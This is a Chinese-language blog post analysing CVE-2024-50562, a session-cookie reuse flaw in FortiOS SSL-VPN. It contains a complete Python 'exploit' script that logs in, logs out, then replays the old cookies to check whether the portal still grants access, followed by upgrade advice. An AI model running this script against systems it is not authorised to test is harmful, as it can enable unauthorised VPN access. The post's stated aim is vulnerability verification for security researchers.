FortiOS SSL-VPN 7.4.4 会话过期不足与Cookie重用漏洞利用分析

本文详细分析了FortiOS SSL-VPN 7.4.4版本中的会话过期不足和Cookie重用漏洞(CVE-2024-50562),提供了完整的Python利用代码和漏洞验证方法,帮助安全研究人员识别和测试该漏洞。

FortiOS SSL-VPN 7.4.4 - 会话过期不足与Cookie重用 - 多远程漏洞利用

漏洞概述

FortiOS SSL-VPN 7.4.4版本存在会话管理漏洞,允许攻击者在用户注销后重用过期的会话Cookie,可能导致未授权访问。SVPNTMPCOOKIE在主要SVPNCOOKIE在注销过程中失效后仍然保持有效。

技术细节

受影响版本

  • FortiOS 7.6.0
  • FortiOS 7.4.0-7.4.7
  • FortiOS 7.2.0-7.2.10
  • FortiOS 7.0.x (所有版本)
  • FortiOS 6.4.x (所有版本)

CVE编号

CVE-2024-50562

CVSS评分

4.4 (中危)

CWE分类

CWE-613 (会话过期不足)

利用代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
#!/usr/bin/env python3
"""
# 漏洞标题: FortiOS SSL-VPN 7.4.4 - 会话过期不足与Cookie重用
# 日期: 2025-06-15
# 漏洞作者: Shahid Parvez Hakim (BugB Technologies)
# 厂商主页: https://www.fortinet.com
# 软件链接: https://www.fortinet.com/products/secure-sd-wan/fortigate
# 版本: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (所有), 6.4.x (所有)
# 测试环境: FortiOS 7.4.x, 7.2.x
# CVE: CVE-2024-50562
# CVSS: 4.4 (中危)
# 分类: 会话管理
# CWE: CWE-613 (会话过期不足)

描述:
FortiOS SSL-VPN中的会话过期不足漏洞允许攻击者在注销后重用过期的会话Cookie,
可能导致未授权访问。SVPNTMPCOOKIE在主要SVPNCOOKIE在注销过程中失效后仍然保持有效。

参考:
- https://fortiguard.com/psirt/FG-IR-24-339
- https://nvd.nist.gov/vuln/detail/CVE-2024-50562

用法:
python3 fortinet_cve_2024_50562.py -t <目标> -u <用户名> -p <密码> [选项]

示例:
python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
"""

import argparse
import requests
import urllib3
import re
import sys
from urllib.parse import urlparse

# 禁用SSL警告用于测试
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class FortinetExploit:
    def __init__(self, target, username, password, realm="", timeout=10, force=False):
        self.target = target
        self.username = username
        self.password = password
        self.realm = realm
        self.timeout = timeout
        self.force = force
        self.base_url = f"https://{target}"
        self.session = None
        
    def banner(self):
        """显示漏洞利用横幅"""
        print("=" * 70)
        print("CVE-2024-50562 - Fortinet SSL-VPN 会话管理绕过")
        print("作者: Shahid Parvez Hakim (BugB Technologies)")
        print("CVSS: 4.4 (中危) | FG-IR-24-339")
        print("=" * 70)
        print(f"目标: {self.target}")
        print(f"用户: {self.username}")
        print("-" * 70)

    def validate_target(self):
        """检查目标是否可达且为Fortinet SSL-VPN"""
        try:
            print("[*] 验证目标...")
            response = requests.get(f"{self.base_url}/remote/login", 
                                  verify=False, timeout=self.timeout)
            
            # 更灵活的Fortinet SSL-VPN检测
            fortinet_indicators = [
                "fortinet", "fortigate", "forticlient",
                "sslvpn", "/remote/login", "SVPNCOOKIE",
                "logincheck", "hostcheck_install",
                "fgt_lang", "realm"
            ]
            
            response_text = response.text.lower()
            detected_indicators = [indicator for indicator in fortinet_indicators 
                                 if indicator in response_text]
            
            if detected_indicators:
                print(f"[+] 目标确认为Fortinet SSL-VPN (检测指标: {', '.join(detected_indicators[:3])})")
                return True
            elif response.status_code == 200:
                print("[!] 目标可达但Fortinet检测不确定 - 继续执行")
                return True
            else:
                print("[-] 目标似乎不是Fortinet SSL-VPN")
                return False
                
        except requests.exceptions.RequestException as e:
            print(f"[-] 连接失败: {e}")
            return False

    def attempt_login(self):
        """尝试使用提供的凭据进行认证"""
        try:
            print("[*] 尝试认证...")
            
            self.session = requests.Session()
            self.session.verify = False
            
            # 首先获取登录页面
            self.session.get(f"{self.base_url}/remote/login?lang=en", timeout=self.timeout)
            
            # 尝试登录
            login_data = {
                "ajax": "1",
                "username": self.username,
                "realm": self.realm,
                "credential": self.password
            }
            
            headers = {"Content-Type": "application/x-www-form-urlencoded"}
            
            response = self.session.post(f"{self.base_url}/remote/logincheck",
                                       data=login_data, headers=headers, 
                                       timeout=self.timeout)
            
            # 检查登录是否成功
            if re.search(r"\bret=1\b", response.text) and "/remote/hostcheck_install" in response.text:
                print("[+] 认证成功!")
                
                # 提取并显示Cookie
                cookies = requests.utils.dict_from_cookiejar(response.cookies)
                self.display_cookies(cookies, "登录")
                
                return True, cookies
            else:
                print("[-] 认证失败!")
                print(f"[!] 服务器响应: {response.text[:100]}...")
                return False, {}
                
        except requests.exceptions.RequestException as e:
            print(f"[-] 登录请求失败: {e}")
            return False, {}

    def perform_logout(self):
        """执行注销并检查Cookie失效"""
        try:
            print("[*] 执行注销...")
            
            response = self.session.get(f"{self.base_url}/remote/logout", timeout=self.timeout)
            cookies_after_logout = requests.utils.dict_from_cookiejar(response.cookies)
            
            print("[+] 注销完成")
            self.display_cookies(cookies_after_logout, "注销")
            
            return cookies_after_logout
            
        except requests.exceptions.RequestException as e:
            print(f"[-] 注销请求失败: {e}")
            return {}

    def test_session_reuse(self, original_cookies):
        """测试注销后旧会话Cookie是否仍然有效"""
        try:
            print("[*] 测试会话Cookie重用...")
            
            # 创建新会话模拟攻击者
            exploit_session = requests.Session()
            exploit_session.verify = False
            
            # 使用原始登录Cookie
            exploit_session.cookies.update(original_cookies)
            
            # 尝试访问受保护资源
            test_url = f"{self.base_url}/sslvpn/portal.html"
            response = exploit_session.get(test_url, timeout=self.timeout)
            
            # 检查是否仍然认证
            if self.is_authenticated_response(response.text):
                print("[!] 漏洞确认!")
                print("[!] 会话Cookie在注销后仍然有效")
                print("[!] CVE-2024-50562影响此系统")
                return True
            else:
                print("[+] 会话正确失效")
                print("[+] 系统似乎已修补")
                return False
                
        except requests.exceptions.RequestException as e:
            print(f"[-] 会话重用测试失败: {e}")
            return False

    def is_authenticated_response(self, response_body):
        """检查响应是否表明已认证访问"""
        # 如果响应包含登录表单元素,用户未认证
        if re.search(r"/remote/login|name=[\"']username[\"']", response_body, re.I):
            return False
        return True

    def display_cookies(self, cookies, context):
        """格式化显示Cookie"""
        if cookies:
            print(f"[*] {context}后的Cookie:")
            for name, value in cookies.items():
                # 截断长值用于显示
                display_value = value[:20] + "..." if len(value) > 20 else value
                print(f"    {name} = {display_value}")
                
                # 高亮CVE重要Cookie
                if name == "SVPNTMPCOOKIE":
                    print(f"    [!] 发现SVPNTMPCOOKIE - CVE-2024-50562目标")
                elif name == "SVPNCOOKIE":
                    print(f"    [*] 发现SVPNCOOKIE - 主要会话Cookie")
        else:
            print(f"[*] {context}后未设置Cookie")

    def exploit(self):
        """主要漏洞利用例程"""
        self.banner()
        
        # 步骤1: 验证目标(除非强制跳过)
        if not self.force:
            if not self.validate_target():
                print("[!] 使用--force跳过目标验证并继续")
                return False
        else:
            print("[*] 跳过目标验证(--force启用)")
            
        # 步骤2: 尝试登录
        login_success, login_cookies = self.attempt_login()
        if not login_success:
            return False
            
        # 步骤3: 执行注销
        logout_cookies = self.perform_logout()
        
        # 步骤4: 测试会话重用
        vulnerable = self.test_session_reuse(login_cookies)
        
        # 步骤5: 显示结果
        print("\n" + "=" * 70)
        print("漏洞利用结果")
        print("=" * 70)
        
        if vulnerable:
            print("状态: 存在漏洞")
            print("CVE-2024-50562: 已确认")
            print("严重性: 中危 (CVSS 4.4)")
            print("\n建议:")
            print("- 升级到已修补的FortiOS版本")
            print("- FortiOS 7.6.x: 升级到7.6.1+")
            print("- FortiOS 7.4.x: 升级到7.4.8+")
            print("- FortiOS 7.2.x: 升级到7.2.11+")
            print("- FortiOS 7.0.x/6.4.x: 迁移到支持版本")
        else:
            print("状态: 无漏洞")
            print("CVE-2024-50562: 不受影响")
            print("\n系统似乎已修补或无漏洞")
            
        return vulnerable

def parse_target(target_string):
    """解析目标字符串并提取host:port"""
    if ':' not in target_string:
        # 如果未指定端口,使用默认HTTPS端口
        return f"{target_string}:443"
    return target_string

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2024-50562 - Fortinet SSL-VPN 会话管理绕过漏洞利用",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
示例:
  python3 %(prog)s -t 192.168.1.10:443 -u admin -p password
  python3 %(prog)s -t 10.0.0.1:4433 -u testuser -p test123 --realm employees
  python3 %(prog)s -t vpn.company.com -u user@domain.com -p pass --timeout 15
  python3 %(prog)s -t 192.168.1.10:443 -u admin -p password --force
        """
    )
    
    parser.add_argument('-t', '--target', required=True,
                        help='目标IP:PORT (例如: 192.168.1.10:443)')
    parser.add_argument('-u', '--username', required=True,
                        help='认证用户名')
    parser.add_argument('-p', '--password', required=True,
                        help='认证密码')
    parser.add_argument('--realm', default='',
                        help='认证域(可选)')
    parser.add_argument('--timeout', type=int, default=10,
                        help='请求超时时间(秒)(默认: 10)')
    parser.add_argument('--force', action='store_true',
                        help='跳过目标验证并继续执行')
    
    args = parser.parse_args()
    
    # 解析并验证目标
    target = parse_target(args.target)
    
    try:
        # 初始化并运行漏洞利用
        exploit = FortinetExploit(target, args.username, args.password, 
                                args.realm, args.timeout, args.force)
        vulnerable = exploit.exploit()
        
        # 使用适当的代码退出
        sys.exit(0 if vulnerable else 1)
        
    except KeyboardInterrupt:
        print("\n[!] 漏洞利用被用户中断")
        sys.exit(1)
    except Exception as e:
        print(f"[!] 意外错误: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

漏洞验证流程

  1. 目标验证: 检查目标是否为Fortinet SSL-VPN
  2. 认证尝试: 使用提供的凭据进行登录
  3. 注销操作: 执行正常的注销流程
  4. 会话重用测试: 尝试使用注销前的Cookie访问受保护资源
  5. 结果分析: 根据响应判断漏洞是否存在

修复建议

  • FortiOS 7.6.x: 升级到7.6.1+
  • FortiOS 7.4.x: 升级到7.4.8+
  • FortiOS 7.2.x: 升级到7.2.11+
  • FortiOS 7.0.x/6.4.x: 迁移到支持版本

参考链接

该漏洞利用脚本提供了完整的自动化测试流程,帮助安全研究人员验证FortiOS SSL-VPN系统中的会话管理漏洞。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计